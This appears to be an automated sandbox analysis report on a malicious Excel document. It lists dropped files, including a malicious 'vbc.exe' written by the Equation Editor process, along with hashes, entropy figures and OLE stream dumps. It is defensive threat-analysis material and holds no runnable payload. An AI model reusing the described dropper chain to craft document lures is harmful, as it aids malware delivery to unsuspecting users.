                                                                  Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...............................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\~DF3759C9448D2ED5D7.TMP

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Composite Document File V2 Document, Cannot read section info
                                                                  Category:dropped
                                                                  Size (bytes):47616
                                                                  Entropy (8bit):7.577868660379925
                                                                  Encrypted:false
                                                                  SSDEEP:768:AT5BP++exJQohHN2WVFWbSFhEq8TFBxwd3ZZw9mCcUXiP4ymDiFLIhlTgk:ATPW+eTQaHN2uWuEq8TFBx2ZZwYCcUm4
                                                                  MD5:1567F391B727410211B36EFB1FDB118D
                                                                  SHA1:C1ADC163163E92A2CB6CE0C4911B4715C994E257
                                                                  SHA-256:FBEDB2D394DCC615550C84EC5EF8B0D601D4B18B46CB81758C5AD1F43E68A0A8
                                                                  SHA-512:3610A0655FFD2727DFDB3AE62C9B01E49D451FDF77C24FCC8003601DDB8AB7B6271B19E9F2439975F11CD27726B77A370CF2B9BDF8AAD21A921264E3D16A43EB
                                                                  Malicious:false
                                                                  Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...............................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\~DF4DCF212DAF54DAAA.TMP

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Composite Document File V2 Document, Cannot read section info
                                                                  Category:dropped
                                                                  Size (bytes):47616
                                                                  Entropy (8bit):7.5831329381697605
                                                                  Encrypted:false
                                                                  SSDEEP:768:dTktBP++exJwu+N2WVFWbSFhEq8TFBxwd3ZZw9mCcUXiP4ymDiFLIhgtgk:dTkbW+eTwu+N2uWuEq8TFBx2ZZwYCcUy
                                                                  MD5:01FA5E410151521E31D6A02AC741FBB8
                                                                  SHA1:6C605C6D43A95B0FBCB50EFD18BF87E229552B34
                                                                  SHA-256:A2A2B877A3E971562BA5CCC7C64FC6B94F7018DF9CFB4F7234664A5A6715AF0A
                                                                  SHA-512:BFD65322955FC77A7F3C0607AC6222A85A47E16996282F5D609209C04A3D90D9D6637C052EAE745824C79A31AE4F6FFBCC32DD29653DC9CD5E828C2EB4E796D3
                                                                  Malicious:false
                                                                  Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...............................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\~DFAEEDEE6F10B6AFDD.TMP

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Composite Document File V2 Document, Cannot read section info
                                                                  Category:dropped
                                                                  Size (bytes):47616
                                                                  Entropy (8bit):7.582753965251375
                                                                  Encrypted:false
                                                                  SSDEEP:768:oTktBP++exJwu+N2WVFWbSFhEq8TFBxwd3ZZw9mCcUXiP4ymDiFLIhoIXgk:oTkbW+eTwu+N2uWuEq8TFBx2ZZwYCcUV
                                                                  MD5:69273511CB0A7F3C7962DF64FBAB4242
                                                                  SHA1:418073A4499F616249CD868D1CB02A34785FBDCD
                                                                  SHA-256:D868A8B6588232493CCC48273A33F7698E29E1D6167F7E5F7D182C03EC717552
                                                                  SHA-512:4739AE7D15EB411813849778E863ADEBDF4BB9545D7FA8F90637D95FF9F2CDA91E4B7212B523D7B684AA0F1905192D450B5547AF0783B7AE3A682D3BF3A8E2A3
                                                                  Malicious:false
                                                                  Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...............................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\~DFCD0A74EBC3B8D0D3.TMP

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Composite Document File V2 Document, Cannot read section info
                                                                  Category:dropped
                                                                  Size (bytes):47616
                                                                  Entropy (8bit):7.582856886423914
                                                                  Encrypted:false
                                                                  SSDEEP:768:LTktBP++exJwu+N2WVFWbSFhEq8TFBxwd3ZZw9mCcUXiP4ymDiFLIhGHugk:LTkbW+eTwu+N2uWuEq8TFBx2ZZwYCcUt
                                                                  MD5:E7093D875FB8116FD59572267E89E70B
                                                                  SHA1:B11AA6698E0A554380E1B9908B985B7182A6B252
                                                                  SHA-256:A6C7449022EA4D31C1E17C4514BBE581A008B003E41C92C97074328056DAC45D
                                                                  SHA-512:AFF1B18032AED40493613006A06E8A971C07CD010547AD4DC55A10001A39DDD961F8919A1FDACE5FD1872DCECC2948A3822DD096A2990383859AE4E204FCE206
                                                                  Malicious:false
                                                                  Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...............................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\~DFCE59EB4D76CCBC89.TMP

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):905216
                                                                  Entropy (8bit):7.421630815922858
                                                                  Encrypted:false
                                                                  SSDEEP:24576:iLKZWQmmav30xr+MXUu94a6S+MXUu9FybVK+MXUu9yfbVYQo:iLKoQmmQ30l+MXV9Nr+MXV9FybVK+MXs
                                                                  MD5:2ECF3989803CC22790E4B09DBF1D7C13
                                                                  SHA1:FCB64CA8A168D8A1C1D18FB85C35B0DFC79FDB87
                                                                  SHA-256:64FA3051880E1D851ABEAF125D283B3A3BF107B7ACC84DFFA73CF83BC187AADA
                                                                  SHA-512:15F6BEC2EC98C995DAD583938ADE526603EADA83BD643A22E98F424ABAE29980666ACD3725D699E2ADD7924DD263E39B33FFAE202F0658BDAE0641A7204FEBC3
                                                                  Malicious:false
                                                                  Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\~DFF3DB96A6682A15C6.TMP

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Composite Document File V2 Document, Cannot read section info
                                                                  Category:dropped
                                                                  Size (bytes):47616
                                                                  Entropy (8bit):7.5780781770787184
                                                                  Encrypted:false
                                                                  SSDEEP:768:vT5BP++exJQohHN2WVFWbSFhEq8TFBxwd3ZZw9mCcUXiP4ymDiFLIhigk:vTPW+eTQaHN2uWuEq8TFBx2ZZwYCcUmB
                                                                  MD5:ECC1C225AAEEB2C626A578564E03BF43
                                                                  SHA1:3B7A7D102B2F61FE9EABEF645E6FCC7DCE37145E
                                                                  SHA-256:FDFCB46BCEF1DD5C07FF051E1F8A256C56ED503FF29FD479CE17DBA325636EDB
                                                                  SHA-512:3EBE4BE2C7268F41F72B5ACEE345EFBE40215AEC0998DA4EE17B46295CD7CA41DC7926DF9EBE563E82AB935C95B954563A8B00F682F3B2E62AF4714118EBFE51
                                                                  Malicious:false
                                                                  Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...............................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\~DFF43C2C98E1EF8FBE.TMP

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Composite Document File V2 Document, Cannot read section info
                                                                  Category:dropped
                                                                  Size (bytes):47616
                                                                  Entropy (8bit):7.577349403604213
                                                                  Encrypted:false
                                                                  SSDEEP:768:3T5BP++exJQohHN2WVFWbSFhEq8TFBxwd3ZZw9mCcUXiP4ymDiFLIhQugk:3TPW+eTQaHN2uWuEq8TFBx2ZZwYCcUm0
                                                                  MD5:73C204857EDD94212CDC4A3D2926F91D
                                                                  SHA1:835C78F6BC433491685A331C9EB42405D1161EEA
                                                                  SHA-256:B57FAC07E53B3CAB565A286FFFF67968C76F5A7966A7F997AFA2EE89A0C18C10
                                                                  SHA-512:84B9C01384EFBDDB0EDBAB056FCABFA8A3E332F6EC3B986F99CF03D52B2E37CB7755A5C475474AB66F4380C30AEEE095A0C6B35EA560B0A7DAC5732062529C7B
                                                                  Malicious:false
                                                                  Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...............................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\~DFF502807A3587CE89.TMP

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):1429504
                                                                  Entropy (8bit):7.051109271439765
                                                                  Encrypted:false
                                                                  SSDEEP:24576:/LKqWQmmav30x7+MXUu9/a6V+MXUu9LybVg+MXUu9mfbVtQo/LKmaEJQEzLKma2J:/LKPQmmQ305+MXV9iA+MXV9LybVg+MXa
                                                                  MD5:92DA3FCA9DB9F787A1DCC8EB8F888A30
                                                                  SHA1:E0ED570353A727F48B797BA05D507641286E04B6
                                                                  SHA-256:D01439144D9303C0507A8792889C7046AB2EBCB213466E292A8E2A6FBEB5A405
                                                                  SHA-512:AA2D09DAB8C841FD5708EA6525F002FB7A2D76F0D315208FD4AF020B566DDB9FCFA6A611512E4411B5ECEDF5C83C81C3E665C96D755A34D7F624C457ECD0DC23
                                                                  Malicious:false
                                                                  Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):10240
                                                                  Entropy (8bit):0.6739662216458647
                                                                  Encrypted:false
                                                                  SSDEEP:12:Ppb0slZp69PO9tauZ7nH2AaYSQ81v0t4TreIBUxFj87+k/R:RbG4WuZfKZ1c+reIAon/R
                                                                  MD5:C61F99FE7BEE945FC31B62121BE075CD
                                                                  SHA1:083BBD0568633FECB8984002EB4FE8FA08E17DD9
                                                                  SHA-256:1E0973F4EDEF345D1EA8E90E447B9801FABDE63A2A1751E63B91A8467E130732
                                                                  SHA-512:46D743C564A290EDFF307F8D0EF012BB01ED4AA6D9667E87A53976B8F3E87D78BEBE763121A91BA8FB5B0CF5A8C9FDE313D7FBD144FB929D98D7D39F4C9602C9
                                                                  Malicious:false
                                                                  Preview: ....+..F..N..F).~]............\.">.. .......p.J..} /o...rLj-...FS..'x.o..%^ .....zr/..3.y.e4...MM.4..x9.f.D..{..(....'p......9...Qn..d..+.....H..M.)..........].....n-.]........n&.*.H`.sz...r.....1B.....e.."...A.....,-....n..$.<....CO..VO..P..'.......<......n....&5s....z..$.{'IM-.o..(#N.-..(H...a&...y.S..`8.(./...1.P.. .....K.3.......I!]G....@N........F.l.T=.0...`"..L....B...B`nI.<.....&F..2J2....1..Rs....h.Zq.`...t..CJ....@.....I.G.e..k..H.....F..G:..6.G.l=.Y......:...C.........?[.ts...=....;.|...q...@....s................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):24152
                                                                  Entropy (8bit):0.7532185028349225
                                                                  Encrypted:false
                                                                  SSDEEP:48:CMnfnO4FGtsFqN6t8nlztZKR6axR6uiozVb:ZnfO4kWKpZKdxR35
                                                                  MD5:520FE964934AF1AB0CEBA2366830D0FA
                                                                  SHA1:B90310ACA870261CB619FDFD1E54E1B1A25074FF
                                                                  SHA-256:DBD45EEA386D364B30BA189E079BFA05C2C40D9E5E83722C39A171998ED079C1
                                                                  SHA-512:A4839A6AB8DB522D9121A590B8C711E8C4F172D9CB71C918860F8048472920F3341B7BA624DFF514BE397809149E4471B2DF981DC81FE77C26B2DDF342A42F8C
                                                                  Malicious:false
                                                                  Preview: ...W....K.h.E..g..0...!1sm.[t\......A......5_...N{Yf?.w..[.Y..A...a^..(._.=.......:.v.$*.....e...F....f.qo.]...B1{.8.%%..,...;.|..<....g ....l.7.`ny.h.n.y...~Y.../.. .WZ.'......AI.|.._K}-$.i..<(.7Y...U....T.i.N.'Pt..c.[........<zni.::. 8W.<S...8!.Wh..;T.?.^yf...E?...pQ....i.;>/..^...r.YsncP..@.. .[".^..A.|.0..$<bC.G........~];..D.|.v.B.).g.E5.?... .N...}....i.,5..a.Fk.%.u.`..F...;xlw.}.5.Jt..c.5.....v...~)..8b|.*.B.]-]jk....PQZ..T}..M.S...88......?.*$..]..%V..D.<.5.d...[..Z.....2........%.$E..+sb.......*...g...>Q[l.}......@=..5L..._....Pi..HY.<[..l...H....9.\=u.v.....S8-&...,5..}t......m...*..R.W.G.NZ....w.....{.iA......G.f.TN.zk..(....q).....n....3..C...d./..........................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):162
                                                                  Entropy (8bit):2.479760646202031
                                                                  Encrypted:false
                                                                  SSDEEP:3:vrJlaCkWtVyHoljpl0QelMWFlc2VbiVllln:vdsCkWt51p2tvHV6/l
                                                                  MD5:0ACDE4A3C820A366AC6C0AB821A72207
                                                                  SHA1:B6551E86B60D095E74D4F79B6B004D40FDA4BA72
                                                                  SHA-256:3F3701E84757747159396FB41AD88E0E51084F846EB8007A2FAEAC15CE9DBF2C
                                                                  SHA-512:CB974D0C6CFE9B9AF015DD9D92B8110FC9AFE7EEA9A8C03ECF9112F6EA642DBE5FE9531E39B5B52EAADE7FEBAF6C17E4DD92AF5841476BECEA8E8789E19C2FB0
                                                                  Malicious:false
                                                                  Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                                                                  C:\Users\Public\vbc.exe

                                                                  Download File
                                                                  Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                  Category:dropped
                                                                  Size (bytes):299979
                                                                  Entropy (8bit):7.926593256630463
                                                                  Encrypted:false
                                                                  SSDEEP:6144:PYa6J+5gUNIG+sCfq3V++iY3aub8kFiLGG9qFP2ipkHj3DR7gy7y:PYDghNESPX3ZZq9q1b6DRc
                                                                  MD5:7DE990046A20E6666627273589B014A5
                                                                  SHA1:55EBCCD35C2329C5816CD0240B0919651AC58321
                                                                  SHA-256:EBCE15AD53B98D7ABA7F7544EE947E88F58D696E22CA4BC5D15B2DED37B577AC
                                                                  SHA-512:850914621B366494BBA2A64AEF1B3DF7C619C7E6BB321A67BC1A1A97BD0182118A1E5648EE48D24449E6341AB7F7989369797114FA521DB8C26CCD5EB3386A42
                                                                  Malicious:true
                                                                  Antivirus:
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*......@6............@.......................................@..........................................................................................................................................................text...vf.......h.................. ..`.rdata...............l..............@..@.data...x...........................@....ndata...................................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

                                                                  Static File Info

                                                                  General

                                                                  File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Sun Mar 19 16:31:33 2023, Security: 0
                                                                  Entropy (8bit):7.7704162920128015
                                                                  TrID:
                                                                  • Microsoft PowerPoint document (31509/1) 33.51%
                                                                  • Microsoft Excel sheet (30009/1) 31.91%
                                                                  • Microsoft Excel sheet (alternate) (24509/1) 26.06%
                                                                  • Generic OLE2 / Multistream Compound File (8008/1) 8.52%
                                                                  File name:d0#U10dc.xls
                                                                  File size:1150464
                                                                  MD5:4f1aac12084426a909da47a49cf59193
                                                                  SHA1:2eaf1072958ea81e87c86b5ec7a63228d623854b
                                                                  SHA256:b861cc02ce6ad439e78219a4a0c154188de055794950d3e5d7fc51178f72971c
                                                                  SHA512:c2d2716d2c52ed75d9770353a3e9c15c12cbf546074909a81b9e9c56576aace47a7f84f288c6ff37fb0101a0bdd1ca7fbcc65f1782af1196940a2cb26918d4e3
                                                                  SSDEEP:24576:GLKkWQmmav30xL+MXUu9uGO+MXUu9c3bV/+MXUu9T3bVOZDNSq3mN1Ezh:GLK5QmmQ30x+MXV9++MXV9c3bV/+MXVc
                                                                  TLSH:3E350213E9C48D46D44247F96AE3B9C9131EBC227BD6A2C72748770F6F786E48A4710E
                                                                  File Content Preview:........................>.......................................................................................u...v...........u.......w.......y..............................................................................................................

                                                                  File Icon

                                                                  Icon Hash:e4eea286a4b4bcb4

                                                                  Static OLE Info

                                                                  General

                                                                  Document Type:OLE
                                                                  Number of OLE Files:1

                                                                  OLE File "d0#U10dc.xls"

                                                                  Indicators
                                                                  Has Summary Info:
                                                                  Application Name:Microsoft Excel
                                                                  Encrypted Document:False
                                                                  Contains Word Document Stream:False
                                                                  Contains Workbook/Book Stream:True
                                                                  Contains PowerPoint Document Stream:False
                                                                  Contains Visio Document Stream:False
                                                                  Contains ObjectPool Stream:False
                                                                  Flash Objects Count:0
                                                                  Contains VBA Macros:True
                                                                  Summary
                                                                  Code Page:1252
                                                                  Author:
                                                                  Last Saved By:
                                                                  Create Time:2006-09-16 00:00:00
                                                                  Last Saved Time:2023-03-19 16:31:33
                                                                  Creating Application:
                                                                  Security:0
                                                                  Document Summary
                                                                  Document Code Page:1252
                                                                  Thumbnail Scaling Desired:False
                                                                  Contains Dirty Links:False
                                                                  Shared Document:False
                                                                  Changed Hyperlinks:False
                                                                  Application Version:786432

                                                                  Streams

                                                                  Stream Path: \x1CompObj, File Type: data, Stream Size: 114
                                                                  General
                                                                  Stream Path:\x1CompObj
                                                                  File Type:data
                                                                  Stream Size:114
                                                                  Entropy:4.25248375192737
                                                                  Base64 Encoded:True
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
                                                                  Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                  Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244
                                                                  General
                                                                  Stream Path:\x5DocumentSummaryInformation
                                                                  File Type:data
                                                                  Stream Size:244
                                                                  Entropy:2.889430592781307
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
                                                                  Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00
                                                                  Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200
                                                                  General
                                                                  Stream Path:\x5SummaryInformation
                                                                  File Type:data
                                                                  Stream Size:200
                                                                  Entropy:3.244624082366348
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . | . # . @ . . . ) D Z . . . . . . . . .
                                                                  Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00
                                                                  Stream Path: MBD00A59CF0/\x1CompObj, File Type: data, Stream Size: 114
                                                                  General
                                                                  Stream Path:MBD00A59CF0/\x1CompObj
                                                                  File Type:data
                                                                  Stream Size:114
                                                                  Entropy:4.695694018334962
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . L u d @ K g 2 . . . . . . M i c r o s o f t O f f i c e W o r d D o c u m e n t . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t . 1 2 . 9 q . . . . . . . . . . . .
                                                                  Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 9b 4c 75 f4 f5 64 40 4b 8a f4 67 97 32 ac 06 07 1f 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 57 6f 72 64 20 44 6f 63 75 6d 65 6e 74 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 11 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                  Stream Path: MBD00A59CF0/\x1Ole, File Type: data, Stream Size: 62
                                                                  General
                                                                  Stream Path:MBD00A59CF0/\x1Ole
                                                                  File Type:data
                                                                  Stream Size:62
                                                                  Entropy:2.7788384466112834
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . ! . . . . . S h e e t 2 ! O b j e c t 5 .
                                                                  Data Raw:01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 2e 00 00 00 04 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 02 00 00 00 21 00 10 00 00 00 53 68 65 65 74 32 21 4f 62 6a 65 63 74 20 35 00
                                                                  Stream Path: MBD00A59CF0/Package, File Type: Microsoft Word 2007+, Stream Size: 66096
                                                                  General
                                                                  Stream Path:MBD00A59CF0/Package
                                                                  File Type:Microsoft Word 2007+
                                                                  Stream Size:66096
                                                                  Entropy:7.6673327627733885
                                                                  Base64 Encoded:True
                                                                  Data ASCII:P K . . . . . . . . . . ! . . . u s . . . T . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                  Data Raw:50 4b 03 04 14 00 06 00 08 00 00 00 21 00 1e 19 ef 75 73 01 00 00 54 05 00 00 13 00 08 02 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 04 02 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                  Stream Path: MBD00A59CF1/\x1CompObj, File Type: data, Stream Size: 93
                                                                  General
                                                                  Stream Path:MBD00A59CF1/\x1CompObj
                                                                  File Type:data
                                                                  Stream Size:93
                                                                  Entropy:4.2892020709435155
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . e . . D E S T . . . . . . A c r o b a t D o c u m e n t . . . . . . . . . A c r o b a t . D o c u m e n t . D C . 9 q . . . . . . . . . . . .
                                                                  Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 65 ca 01 b8 fc a1 d0 11 85 ad 44 45 53 54 00 00 11 00 00 00 41 63 72 6f 62 61 74 20 44 6f 63 75 6d 65 6e 74 00 00 00 00 00 14 00 00 00 41 63 72 6f 62 61 74 2e 44 6f 63 75 6d 65 6e 74 2e 44 43 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                  Stream Path: MBD00A59CF1/\x1Ole, File Type: data, Stream Size: 62
                                                                  General
                                                                  Stream Path:MBD00A59CF1/\x1Ole
                                                                  File Type:data
                                                                  Stream Size:62
                                                                  Entropy:2.7788384466112834
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . ! . . . . . S h e e t 2 ! O b j e c t 4 .
                                                                  Data Raw:01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 2e 00 00 00 04 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 02 00 00 00 21 00 10 00 00 00 53 68 65 65 74 32 21 4f 62 6a 65 63 74 20 34 00
                                                                  Stream Path: MBD00A59CF1/CONTENTS, File Type: PDF document, version 1.7, 1 pages, Stream Size: 141190
                                                                  General
                                                                  Stream Path:MBD00A59CF1/CONTENTS
                                                                  File Type:PDF document, version 1.7, 1 pages
                                                                  Stream Size:141190
                                                                  Entropy:7.918921120478072
                                                                  Base64 Encoded:True
                                                                  Data ASCII:% P D F - 1 . 7 . % . . 1 0 o b j . . < < / O u t l i n e s 5 0 R . . / P a g e s 2 0 R . . / N a m e s < < / D e s t s 4 0 R . . > > . . / T y p e / C a t a l o g . . > > . . e n d o b j . . 2 0 o b j . . < < / C o u n t 1 . . / K i d s [ 6 0 R ] . . / T y p e / P a g e s . . > > . . e n d o b j . . 3 0 o b j . . < < / C r e a t i o n D a t e ( D : 2 0 2 2 0 7 0 1 1 0 0 4 1 7 + 0 2 ' 0 4 ' ) . . / M o d D a t e ( D : 2 0 2 2 0 9 2 6 1 9 4 4 0 7 + 0 8 ' 0 0 '
                                                                  Data Raw:25 50 44 46 2d 31 2e 37 0d 25 e2 e3 cf d3 0d 0a 31 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 4f 75 74 6c 69 6e 65 73 20 35 20 30 20 52 0d 0a 2f 50 61 67 65 73 20 32 20 30 20 52 0d 0a 2f 4e 61 6d 65 73 20 3c 3c 2f 44 65 73 74 73 20 34 20 30 20 52 0d 0a 3e 3e 0d 0a 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 0d 0a 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 32 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 43 6f 75
                                                                  Stream Path: MBD00A59CF2/\x1CompObj, File Type: data, Stream Size: 93
                                                                  General
